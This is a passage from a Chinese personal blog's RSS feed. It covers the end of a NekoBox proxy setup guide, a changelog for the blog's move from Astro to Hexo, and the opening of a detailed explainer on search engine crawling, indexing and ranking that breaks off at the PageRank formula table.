&lt;p&gt;&lt;code&gt;代理&lt;/code&gt;：仅代理选中的应用&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;绕过&lt;/code&gt;：不代理选中的应用
:::&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;绕过局域网地址&lt;/code&gt;：开启后不会代理局域网地址&lt;code&gt;如192.168.1.1&lt;/code&gt;，建议开启&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;在核心中绕过LAN&lt;/code&gt;：即使TUN捕获到局域网流量，也会在sing-box核心内直接发送到目标局域网地址，不再发往代理出口。强烈建议开启，否则会引起一系列局域网上的诡异问题&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::yellow[流量探测]
&lt;code&gt;流量探测&lt;/code&gt; 也就是在握手阶段抓&lt;code&gt;SNI / TLS / HTTP Host&lt;/code&gt;以得到真正的域名
因为有些App直接连IP，没有域名，这样分流规则就用不上&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;结果用于路由判断&lt;/code&gt;：嗅探出的域名&lt;strong&gt;只用于分流规则判断&lt;/strong&gt;，但不改实际连接目的地。通常情况选择此模式&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;用于目标地址&lt;/code&gt;：嗅探出的域名&lt;strong&gt;不仅用于分流&lt;/strong&gt;，&lt;strong&gt;还会被重新DNS改变真实连接IP&lt;/strong&gt;，不推荐选择，除非你知道你在做什么
:::&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;解析目标地址&lt;/code&gt;：当你访问的是域名时，核心会重新DNS解析一次，可以解决一部分可能的DNS泄漏。&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;IPv6代理&lt;/code&gt;：建议直接禁用，否则会出现一系列逆天问题&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.3 DNS设置&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;启用DNS路由&lt;/code&gt;：让DNS 查询本身也走代理的路由规则，而不是直接让系统去问本地/运营商/路由器。强烈建议开启&lt;/li&gt;
&lt;li&gt;&lt;code&gt;启用FakeDNS&lt;/code&gt;：也就是&lt;code&gt;Fake-IP&lt;/code&gt;，接管所有 DNS请求，对需要代理的域名返回一个FakeIP。App访问这个假IP时，流量被TUN捕获，NekoBox根据FakeIP对应的域名进行路由判断，然后通过代理或直连与真实IP建立连接。强烈建议开启。
&lt;em&gt;剩余未提及的设置项可以参见官方文档&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;4. 分流示例&lt;/h2&gt;
&lt;h3&gt;4.1 分应用代理&lt;/h3&gt;
&lt;p&gt;视个人情况选择&lt;code&gt;绕过/代理&lt;/code&gt;模式，我们更推荐您在&lt;code&gt;分应用代理&lt;/code&gt;中对应用分流&lt;/p&gt;
&lt;h3&gt;4.2 自定义规则&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;在添加规则前，请充分了解文档，否则您可能无法访问互联网&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Nekobox默认的路由规则直接启用即可，对于普通用户已完全够用。&lt;br /&gt;
如果需要自定义单个域名/app/IP的代理，可以如下操作&lt;/p&gt;
&lt;p&gt;比如我想让ChatGPT单独走美国分流&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;应用:ChatGPT
outbound:&amp;lt;选中额外的美区节点&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;又或者我想让&lt;code&gt;tgk-wcaime.wahlap.com&lt;/code&gt;单独走&lt;code&gt;UsgPASS&lt;/code&gt;代理，且不影响主代理&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;domain:tgk-wcaime.wahlap.com
outbound:&amp;lt;UsgPASS Proxy&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;关于DNS，貌似没有最优的解决方案，对于普通用户，维持默认设置即可&lt;/strong&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;5. 结&lt;/h2&gt;
&lt;p&gt;NekoBox是一款拥有极高上限的代理工具。它的默认设置足以满足日常需求，但其真正的魅力在于其绝佳的分流规则以及对协议的广泛支持。&lt;/p&gt;
&lt;p&gt;如果您的设备&lt;em&gt;恰好&lt;/em&gt;Root的话，可以了解一下更底层的代理方案: &lt;a href=&quot;/2025/08/26/boxForMagisk/&quot;&gt;Box4Magisk&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;附&lt;a href=&quot;https://matsuridayo.github.io/&quot;&gt;Nekobox官方文档&lt;/a&gt;&lt;/p&gt;
</content:encoded><category>Proxy</category><author>Chongxi</author></item><item><title>Changelog - 11/05/2025</title><link>https://xice.cx/posts/Changelog-11-05-2025/</link><guid isPermaLink="true">https://xice.cx/posts/Changelog-11-05-2025/</guid><description>Blog 2025/11/04 重大更新日志</description><pubDate>Wed, 05 Nov 2025 09:25:30 GMT</pubDate><content:encoded>&lt;h2&gt;CEPATO ver.4.1.0 - use Hexo 8.1.0&lt;/h2&gt;
&lt;p&gt;鉴于 &lt;code&gt;Astro&lt;/code&gt; 在博客发展过程中出现的问题日益增多，不得不对其进行底层重构，将框架迁移至 &lt;code&gt;Hexo&lt;/code&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;Astro&lt;/code&gt; 的 Sitemap 问题已经修复了半年多，气笑了&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;What&apos;s New&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;1. 完整集成 Gitalk 评论系统&lt;/strong&gt;&lt;br /&gt;
现在，您可以直接使用 GitHub 账户对博客内容进行评论。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;2. 文章推荐功能&lt;/strong&gt;&lt;br /&gt;
基于 &lt;code&gt;Nodejieba&lt;/code&gt; 实现的文章推荐功能，支持 PC 端和移动端显示不同数量的推荐文章。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;3. pangu.js 中英文自动排版&lt;/strong&gt;&lt;br /&gt;
现已支持中英文自动 &lt;code&gt;pangu&lt;/code&gt; 排版。关于 &lt;code&gt;pangu.js&lt;/code&gt; 的详细信息，请参见 &lt;a href=&quot;https://github.com/vinta/pangu.js/&quot;&gt;GitHub: pangu.js&lt;/a&gt;。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;4. 瀑布流照片墙&lt;/strong&gt;&lt;br /&gt;
新增瀑布流样式相册显示功能。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;5. Mermaid JS 支持&lt;/strong&gt;&lt;br /&gt;
现在允许直接使用 &lt;code&gt;Mermaid JS&lt;/code&gt; 语法绘制图表。&lt;/p&gt;
&lt;p&gt;e.g.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;graph TD
    A[xice.cx] --&amp;gt; B(content);
    A --&amp;gt; C(category);
    A --&amp;gt; D(tag);
    A --&amp;gt; E(about);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;6. MathJax 公式支持&lt;/strong&gt;
允许使用 &lt;code&gt;MathJax&lt;/code&gt; 直接渲染数学公式。&lt;/p&gt;
&lt;p&gt;e.g.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;在 Minecraft 中，末地要塞的生成逻辑较为复杂，通常会在距世界原点一定距离的环形区域内生成。假设在给定区域内，找到末地要塞的近似概率 $P$ 可以粗略表示为：&lt;br /&gt;
$$P \approx 1 - \left(1 - \frac{N_{fortress}}{N_{chunks}}\right)^{N_{attempts}}$$&lt;br /&gt;
其中：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;$N_{fortress}$ 为给定区域内末地要塞的平均数量（通常为3个）。&lt;/li&gt;
&lt;li&gt;$N_{chunks}$ 为末地要塞可能生成的总区块数量。&lt;/li&gt;
&lt;li&gt;$N_{attempts}$ 为玩家在给定区域内搜索的尝试次数或探索的区块数量。&lt;br /&gt;
这个公式是一个简化模型，实际生成机制更为复杂，但它提供了一个理解概率的视角。&lt;/li&gt;
&lt;/ul&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Fixed&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;修复了 Sitemap 生成问题。&lt;/li&gt;
&lt;li&gt;为旧文章 URL 添加了 301 重定向，现在访问旧 URL 将自动跳转至新文章 URL。&lt;/li&gt;
&lt;li&gt;修正了部分文章的元信息。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;To Do&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;优化部分文章内容。&lt;/li&gt;
&lt;li&gt;优化博客图片及其他资源元素。&lt;/li&gt;
&lt;/ol&gt;
</content:encoded><category>meta</category><category>log</category><author>Chongxi</author></item><item><title>现代搜索引擎深度解析：从原理、算法到高效检索实践</title><link>https://xice.cx/posts/modernSearchEngine/</link><guid isPermaLink="true">https://xice.cx/posts/modernSearchEngine/</guid><description>本文非常详尽地讲解了现代搜索引擎的体系结构、核心算法与信息检索方法，并给出了常用搜索引擎语法使用教程。</description><pubDate>Sun, 02 Nov 2025 08:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;本文旨在系统梳理现代搜索引擎的体系结构、核心算法与信息检索方法，来源于经验及研究总结，难免有疏漏之处，欢迎指出。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;本篇与《现代SEO深度解析：原理、算法与实战》是互补的关系，如果您已阅读完本文并对SEO感兴趣，可以了解后文，&lt;a href=&quot;/2025/11/09/modernSEO/&quot;&gt;&amp;gt;点击跳转&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;0. 基础概念&lt;/h2&gt;
&lt;h3&gt;0.1 搜索引擎定义&lt;/h3&gt;
&lt;p&gt;搜索引擎（&lt;code&gt;Search Engine&lt;/code&gt;）是一类用于从大规模数据集中高效检索信息的系统，它主要由以下模块组成：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;抓取（&lt;code&gt;Crawling&lt;/code&gt;）&lt;/strong&gt;：负责发现并下载互联网上的海量网页内容。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;索引（&lt;code&gt;Indexing&lt;/code&gt;）&lt;/strong&gt;：将抓取到的内容加工，转换为能被机器快速检索的数据结构。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;排序（&lt;code&gt;Ranking&lt;/code&gt;）&lt;/strong&gt;：根据用户提交的查询词，结合其意图，对已索引的候选内容进行重要性或相关性排序。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;查询接口（&lt;code&gt;Query Interface&lt;/code&gt;）&lt;/strong&gt;：提供用户输入查询的界面，并把处理后的搜索结果呈现给用户。&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;0.2 搜索引擎工作流程&lt;/h3&gt;
&lt;p&gt;现代搜索引擎的典型工作流程可以概括为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;graph TD
    A[源数据：网页、文档、多媒体等] --&amp;gt; B(爬取);
    B --&amp;gt; C{结构解析 + 数据清洗};
    C --&amp;gt; D[建立索引];
    D --&amp;gt; E[建立传统 + 语义/行为模型];
    E --&amp;gt; F[最终给用户展示的搜索结果UI];
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;0.3 数据类型&lt;/h3&gt;
&lt;p&gt;搜索引擎需要处理形形色色的数据类型：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;结构化数据&lt;/strong&gt;：具有固定字段和严格结构的数据，比如 &lt;em&gt;数据库、API 接口返回、知识库条目&lt;/em&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;非结构化数据&lt;/strong&gt;：没有预定义格式的自由文本内容，例如 &lt;em&gt;网站正文、博客文章、新闻报道&lt;/em&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;半结构化数据&lt;/strong&gt;：拥有标签或标记来组织数据，但结构不那么严格，例如 &lt;em&gt;JSON、XML、HTML DOM 结构&lt;/em&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;多模态数据&lt;/strong&gt;：包含多种媒体形式的数据，如 &lt;em&gt;图像、音频、视频&lt;/em&gt; 等。这些数据需要通过 OCR、ASR 等技术识别，并转换为 CLIP 向量等可检索的形式。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;1. 抓取 &lt;code&gt;Crawling&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;抓取是搜索引擎获取信息的第一步，通过自动化程序（也就是爬虫）遍历互联网。&lt;/p&gt;
&lt;h3&gt;1.1 链接发现机制&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;HTML &amp;lt;a&amp;gt;&lt;/code&gt; 标签超链接：网页间互相引用的最主要方式。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;link&amp;gt;、&amp;lt;script&amp;gt;、&amp;lt;img&amp;gt;&lt;/code&gt; 等资源标签：这些标签里也可能藏着指向其他资源的 URL。&lt;/li&gt;
&lt;li&gt;网站提交的 &lt;code&gt;sitemap.xml&lt;/code&gt;：站长主动递交的「地图」，告诉爬虫网站有哪些页面。&lt;/li&gt;
&lt;li&gt;外链引用（&lt;code&gt;Backlinks&lt;/code&gt;）：其他网站「推荐」本站的链接，是重要的发现来源。&lt;/li&gt;
&lt;li&gt;域名暴力遍历 / 词典扩展：通过穷举或组合常见词汇来猜测可能存在的 URL。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.2 抓取策略 &lt;code&gt;Crawl Strategies&lt;/code&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;BFS（&lt;code&gt;广度优先&lt;/code&gt;）&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;特点：&lt;em&gt;先广后深，保证覆盖&lt;/em&gt;。&lt;/li&gt;
&lt;li&gt;应用：通常用于&lt;strong&gt;通用爬虫&lt;/strong&gt;，确保不会遗漏重要区域。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DFS（&lt;code&gt;深度优先&lt;/code&gt;）&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;特点：&lt;em&gt;快速深入单域&lt;/em&gt;。&lt;/li&gt;
&lt;li&gt;应用：适用于&lt;strong&gt;专项采集&lt;/strong&gt;，需要快速获取某个主题或网站深层内容时。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;优先级队列&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;策略：根据链接的权重、内容更新频率等因素给链接打分，优先抓取「更重要」的页面。&lt;/li&gt;
&lt;li&gt;效果：热门、权威、更新频繁的页面会被优先照顾。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.3 抓取预算 &lt;code&gt;Crawl Budget&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;搜索引擎不会无限量地抓取一个网站，它有一个「抓取资源上限」，也就是抓取预算。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;影响因素&lt;/strong&gt;：网站服务器的&lt;strong&gt;响应速度、页面内容的质量、外部链接的质量、站点大小、内容更新频率&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;主要影响&lt;/strong&gt;：直接关系到网站页面被搜索引擎&lt;strong&gt;收录的速度&lt;/strong&gt;以及在搜索结果中的&lt;strong&gt;整体可见性&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;1.4 抓取控制规则&lt;/h3&gt;
&lt;p&gt;网站有多种方式来引导搜索引擎爬虫的行为：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;&lt;code&gt;robots.txt&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;用途：文件通常放在网站根目录，用来&lt;strong&gt;禁止或允许&lt;/strong&gt;爬虫访问网站的特定路径。&lt;/li&gt;
&lt;li&gt;示例：&lt;code&gt;Disallow: /private/&lt;/code&gt; （告诉爬虫不要进这个目录）&lt;/li&gt;
&lt;li&gt;&lt;em&gt;当然，防君子不防小人&lt;/em&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;meta name=&quot;robots&quot;&amp;gt;&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;用途：直接写在 HTML 页面的 &lt;code&gt;&amp;lt;head&amp;gt;&lt;/code&gt; 部分，对当前页面进行&lt;strong&gt;页面级控制&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;示例：&lt;code&gt;&amp;lt;meta name=&quot;robots&quot; content=&quot;noindex, nofollow&quot;&amp;gt;&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;noindex&lt;/code&gt;：告诉搜索引擎不要把这个页面收录到索引里。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;nofollow&lt;/code&gt;：告诉搜索引擎不要追踪这个页面上的链接。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTTP Header &lt;code&gt;X-Robots-Tag&lt;/code&gt;&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;用途：通过 HTTP 响应头来控制，可以实现更&lt;strong&gt;精细的缓存与状态控制&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;示例：&lt;code&gt;X-Robots-Tag: noarchive&lt;/code&gt; （告诉搜索引擎不要存档这个页面）&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;禁止抓取 ≠ 禁止索引 ≠ 禁止展示&lt;/strong&gt;
这三者是不同的概念。比如，&lt;code&gt;robots.txt&lt;/code&gt; 禁止了某个页面被抓取，但如果其他网站大量链接到这个页面，搜索引擎可能仍然会知道它的存在，甚至在搜索结果中显示它的标题（但内容无法展示）。这三者逻辑不同，将在 SEO 部分详细展开。&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;2. 索引 &lt;code&gt;Indexing&lt;/code&gt;&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;索引的最终目的：将爬虫收集到的海量内容，转化为能被搜索引擎&lt;strong&gt;快速检索&lt;/strong&gt;的数据结构。&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;2.1 文本预处理&lt;/h3&gt;
&lt;p&gt;原始文本在被建立索引前，要经过一系列的处理：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;分词（&lt;code&gt;Tokenization&lt;/code&gt;）&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;英文&lt;/strong&gt;：相对简单，通常直接按空格、标点符号分割单词。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;中文&lt;/strong&gt;：由于词语之间没有天然的分隔符，需要进行额外的分词算法：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;最大正向匹配（&lt;code&gt;MM&lt;/code&gt;）&lt;/strong&gt;：从左向右尝试匹配词典中最长的词。&lt;em&gt;简单但误差可能较高&lt;/em&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;最大逆向匹配（&lt;code&gt;RMM&lt;/code&gt;）&lt;/strong&gt;：从右向左匹配，通常认为&lt;em&gt;效果优于正向匹配&lt;/em&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HMM（&lt;code&gt;隐马尔科夫模型&lt;/code&gt;）&lt;/strong&gt;：基于统计概率模型，&lt;em&gt;更适合处理大规模词库和复杂语境&lt;/em&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BPE/SentencePiece&lt;/strong&gt;：现代 NLP 的主流做法，将词拆分为子词粒度，能处理未登录词，且&lt;em&gt;支持跨语言&lt;/em&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;停用词过滤&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;去除那些常见但对搜索意义不大的词语，比如中文的&lt;code&gt;的、了、是&lt;/code&gt;，英文的&lt;code&gt;and、the、a&lt;/code&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;词干提取（&lt;code&gt;Stemming&lt;/code&gt;） / 词形还原（&lt;code&gt;Lemmatization&lt;/code&gt;）&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;将词语的不同形式统一到它们的&lt;strong&gt;词干&lt;/strong&gt;或&lt;strong&gt;基本形式&lt;/strong&gt;，例如 &lt;code&gt;reducing → reduced → reduces&lt;/code&gt; 都归结为 &lt;code&gt;reduce&lt;/code&gt;。这能有效减少索引量，并提高匹配率。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;2.2 倒排索引 &lt;code&gt;Inverted Index&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;倒排索引是搜索引擎&lt;strong&gt;最核心&lt;/strong&gt;的数据结构之一。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;核心结构&lt;/strong&gt;：它像一个字典，键是&lt;strong&gt;词语 (word)&lt;/strong&gt;，值是&lt;strong&gt;包含这个词语的文档ID列表&lt;/strong&gt;（&lt;code&gt;[document_id1, document_id2, ...]&lt;/code&gt;）。此外，通常还会记录词频、位置等信息。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;可实现&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;快速定位&lt;/strong&gt;：能够迅速找出所有包含特定关键词的文档。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;布尔运算&lt;/strong&gt;：轻松支持 &lt;code&gt;AND、OR、NOT&lt;/code&gt; 等逻辑操作，进行复杂查询。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.3 向量索引 &lt;code&gt;Vector Index&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;现代搜索引擎越来越依赖向量索引来实现&lt;strong&gt;语义搜索&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;文本嵌入向量空间&lt;/strong&gt;：通过学习模型，把文本（无论是单个词、句子还是整个文档）转化成高维的&lt;strong&gt;向量&lt;/strong&gt;。
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Word2Vec / GloVe&lt;/strong&gt;：主要用于生成&lt;strong&gt;词向量&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;BERT / RoBERTa / Embedding Models&lt;/strong&gt;：生成更强大的&lt;strong&gt;语义向量&lt;/strong&gt;，能捕捉文本的深层含义。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;向量检索使用&lt;/strong&gt;：这些向量被存储在专门的向量数据库中，支持通过计算向量间的距离来寻找语义相似的内容。
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;常用工具&lt;/strong&gt;：&lt;code&gt;FAISS&lt;/code&gt;、&lt;code&gt;Milvus&lt;/code&gt;、&lt;code&gt;HNSWlib&lt;/code&gt; 等。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;效果&lt;/strong&gt;：即便用户搜索的关键词与文档中没有精确匹配，只要语义上相关，也能被有效地检索出来，实现真正的&lt;strong&gt;语义相似度搜索&lt;/strong&gt;。&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;2.4 内容去重 &lt;code&gt;Content Deduplication&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;搜索引擎需要避免大量重复内容的索引，这会降低搜索质量。内容去重就是解决这个问题的。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Shingling（&lt;code&gt;固定窗口切片&lt;/code&gt;）&lt;/strong&gt;：将文档切分成多个小片段，对每个片段计算哈希值，通过比较哈希集合的相似度来判断文档是否重复。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SimHash（&lt;code&gt;局部敏感哈希&lt;/code&gt;）&lt;/strong&gt;：为整个文档生成一个紧凑的哈希值，相似的文档会得到相似的 SimHash 值。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;目的&lt;/strong&gt;：&lt;strong&gt;避免 SEO 采集站、镜像站等低质量重复内容污染索引质量&lt;/strong&gt;，确保搜索结果的多样性和权威性。&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h2&gt;3. 排序 &lt;code&gt;Ranking&lt;/code&gt;&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;搜索引擎的排序模型，核心目标是衡量候选文档与用户查询之间的&lt;strong&gt;相关性&lt;/strong&gt;，并按最相关程度呈现结果。现代排序体系通常分为&lt;strong&gt;多阶段&lt;/strong&gt;处理，以平衡效率和准确性：&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;3.1 First-stage Ranking / Recall&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目的&lt;/strong&gt;：在海量索引中，快速、高效地&lt;strong&gt;筛选出与查询可能相关&lt;/strong&gt;的少量内容。这一阶段更注重&lt;strong&gt;召回率和效率&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;方法&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;BM25 / TF-IDF&lt;/strong&gt;：基于关键词匹配的经典算法，结合词频、逆文档频率和文档长度来计算相关性。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;基于倒排索引的快速评分&lt;/strong&gt;：利用倒排索引迅速定位并对文档进行初步打分。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;简单的向量召回&lt;/strong&gt;：通过向量索引进行最近邻搜索，召回语义上初步相关的文档。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;3.2 Re-ranking / Semantic Ranking&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;目的&lt;/strong&gt;：在初筛结果中，进行&lt;strong&gt;更深层次的语义理解&lt;/strong&gt;和&lt;strong&gt;精细化排名优化&lt;/strong&gt;。这一阶段更注重&lt;strong&gt;排序的精准度&lt;/strong&gt;。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;方法&lt;/strong&gt;：
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;LTR 模型&lt;/strong&gt;：使用机器学习方法，综合大量特征（关键词匹配度、链接质量、用户行为、页面内容质量等）进行排序。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Transformer 表示 (Embedding Models)&lt;/strong&gt;：利用 BERT、RoBERTa 等大型预训练语言模型，将查询和文档编码为语义向量，通过向量相似度进行精细匹配。&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reranker 模型&lt;/strong&gt;：专门设计的深度学习模型，对查询和候选文档对进行&lt;strong&gt;交互式匹配&lt;/strong&gt;，深度评估其语义相关性。&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;现代搜索引擎的典型排序流程：&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;graph TD
    A[用户查询] --&amp;gt; B(倒排索引召回);
    B --&amp;gt; C(初排);
    C --&amp;gt; D(语义重排);
    D --&amp;gt; E(返回给用户);
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;3.3 基于引用的权重模型 &lt;code&gt;PageRank&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;PageRank 是 Google &lt;strong&gt;早期的核心算法之一&lt;/strong&gt;，它用于评估网页的&lt;strong&gt;重要性和权威性&lt;/strong&gt;。它的衡量标准不是网页的&lt;strong&gt;内容质量&lt;/strong&gt;本身，而是：&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;这个页面被谁引用、被引用了多少&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;也就是说：
&lt;strong&gt;被高质量页面引用越多 → 越重要&lt;/strong&gt;&lt;/p&gt;
&lt;h3&gt;PageRank 公式&lt;/h3&gt;
&lt;p&gt;PageRank 的核心思想是将互联网上的链接视为一种「投票」。一个网页的 PageRank 值（$PR(p_i)$）越高，通常意味着它被认为越重要或越权威。&lt;/p&gt;
&lt;p&gt;$$
PR(p_i) = \frac{1 - d}{N} + d \cdot \sum_{p_j \in M(p_i)} \frac{PR(p_j)}{L(p_j)}
$$&lt;/p&gt;
&lt;p&gt;解释：&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;符号&lt;/th&gt;
&lt;th&gt;含义&lt;/th&gt;
&lt;th&gt;理解方式&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;$PR(p_i)$&lt;/td&gt;
&lt;td&gt;页面 $p_i$ 的 PageRank 值&lt;/td&gt;
